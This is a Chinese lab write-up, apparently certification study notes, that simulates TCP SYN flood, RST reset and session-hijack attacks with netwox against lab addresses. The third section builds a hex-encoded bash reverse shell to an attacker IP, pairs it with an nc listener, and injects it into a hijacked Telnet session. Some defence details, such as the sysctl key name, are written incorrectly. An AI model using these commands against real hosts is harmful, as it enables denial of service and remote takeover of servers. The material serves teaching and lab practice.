HCIE(3)——TCP DOS攻击模拟
一、TCP半开攻击
1)攻击原理
攻击方只需要发送大量的syn分节给服务器,然后对服务器返回的syn+ack什么也不做,直接忽略掉。
不发送ack给服务器,这样就可以一直占着服务器半连接对列的资源,导致正常的客户端无法连接上服务器。
syn flood的攻击方式主要有两种:
第一种是,攻击方的客户端一直发送syn,对于服务端回复的syn+ack什么也不做,直接忽略掉。
第二种是,攻击方的客户端发送syn时,将源IP改为一个虚假的IP,然后服务器会将syn+ack发送到虚假IP上去,这样客户端也不需要回复ack。
2)半开攻击实验模拟
①环境准备:
服务端:172.24.8.134
客户端:172.24.8.253
攻击者:172.24.8.129
②在服务端首先将**/proc/sys/net/ipv4/net.ipv4.tcp_syncookies**的值设为0,关闭防御机制,增强实验效果。
③使用netwox的76号工具进行攻击
攻击前使用客户端连接服务端(在服务端搭建了一个http服务器用来测试)
发现可以成功访问
使用netwox 76 号工具进行攻击
sudo netwox 76 -i 172.24.8.134 -p 80
再次进行测试:
发现已经不能成功建立连接了
3)防御措施
建立cookies机制。
cookies机制就是只为已经成功建立了TCP连接的主机,继续分配连接资源。像那种发出大量syn的连接,但不回复ack的连接,不予受理。后面的连接是建立在前面的连接三次握手已经完成的基础上的。
做法:将/etc/sysctl.conf中的net.ipv4_syscookies值设为1(默认情况下就是1)。
cookies的建立是利用了hash算法提取TCP头部的一写字段来做标记,相当于建立了一个名单。
二、TCP RST重置攻击
1)攻击原理
RST:就算是reset的意思,重置就是指受害者收到的TCP包中携带RST字段,不论当前处于什么状态,都会将当前的连接释放掉。
举例来说,就是A和服务器B建立的TCP连接,如果此时的攻击者C伪造了一个TCP RST的包发给B,就会使B异常的断开与A的连接,这就是RST攻击。
伪造带RST位的TCP包会有什么后果:
①假定攻击者C伪装A发过去的包,这个包里面的RST置位,缓冲器上所有数据,B都会丢弃,并强制关闭所有连接。
②如果C伪装成A发过去的包是syn包,那么B会表示A已经是正常的连接了却又来建立新的连接,默认是不安全,B会主动向A 发送一个RST包,并在自己这端强制关闭连接。
2)开始攻击
①环境准备:
服务端:172.24.8.134
客户端:172.24.8.253
攻击者:172.24.8.129
②使用netwox的78号工具进行攻击
攻击前使用客户端远程连接Telnet服务端
开始攻击:
sudo netwox 78 -i "172.24.8.134" -f "port 80"
可以看到,再次查看的时候,发现已经断开了连接了。
3)防御手段
简单粗暴的一个可行方法:通过防火墙进行简单设置,建议使用防火墙将进来的带RST位的包丢弃。
三、TCP劫持及反弹shell攻击
1)TCP劫持攻击原理
1、hacker获取client与server的TCP会话包(通常通过ARP毒化、MAC地址洪泛等方法)
2、观察server发送给client的TCP报文,以获取client将要发送给server的下一个报文信息。
需要将里面显示的***显示为真正的***。
3、hacker利用工具伪造一个TCP报文,发送给server,其内容信息通过步骤2获得的报文信息来确定。
大致需要的报文信息有:
二层的src-MAC是hacker的地址
三层的src-IP是client的IP,des-IP是server的IP)四层的参数则是通过步骤2获取。
2)反弹shell原理
可以使用kali和客户端来实现:
kali上先利用需要监听的端口,这里我们监听9999端口
sudo nc -l -p 9999 -v
将反弹shell转换为16进制
bash -i>&/dev/tcp/172.24.8.129/9999 0>&1
//这是一个简单的shell脚本
我们使用HEX编码器将这个shell脚本转换为16进制编码(切记:在编码结束后面要加上回车键的16进制0d00,表示执行的意思)
62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00
观看效果:使用ls可以进行一下测试
2)实验模拟
①实验环境准备
服务端:172.24.8.128
客户端:172.24.8.253
攻击者:172.24.8.129
提前打开wireshark抓包工具。
②先使用客户端远程Telnet服务端,并且攻击者kali开启反弹shell功能。
③攻击者使用wireshark抓包工具并分析报文
④使用netwox的40号工具进行TCP的劫持(里面内容是根据步骤③报文分析而得)
sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 172.24.8.253 --ip4-dst 172.24.8.128 --tcp-src 1077 --tcp-dst 23 --tcp-seqnum 263448091 --tcp-acknum 780472132 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00
测试结果:
可以看到攻击者已经成功远程到了服务器上。